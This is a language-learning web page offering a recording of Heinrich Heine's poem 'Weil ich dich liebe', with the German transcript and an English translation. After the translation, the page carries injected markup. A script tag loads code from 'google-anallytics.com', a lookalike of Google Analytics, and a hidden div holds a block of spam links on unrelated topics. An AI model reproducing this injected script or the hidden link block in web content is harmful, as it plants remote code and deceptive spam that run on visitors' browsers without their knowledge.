Language sounds
Home > Sounds > Weil ich dich liebe - Heinrich Heine

‘Weil ich dich liebe - Heinrich Heine’
Click to listen to Recorded 2008-07-05 20-34-02.mp3 (281Kb)
Non-native speaker
Accent: American
Author: JW
Date: 7/5/2008

Description of what is on the sound file:
One of my Favorite German Poems

---

Transcript of sound file:
Weil ich dich liebe, muß ich fliehend
Dein Antlitz meiden - zürne nicht.
Wie paßt dein Antlitz, schön und blühend,
Zu meinem traurigen Gesicht!

Weil ich dich liebe, wird so bläßlich,
So elend mager mein Gesicht -
Du fändest mich am Ende häßlich -
Ich will dich meiden - zürne nicht.

---

Translation:
Because I love you, fleeing
I must avoid your countenance – don’t be angry
How does your countenance, beautiful and blooming
Fit my sad face!

Because I love you, my gaunt
abject face becomes so pale
You would have found me hideous in the end
I want to avoid you – don’t be angry
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)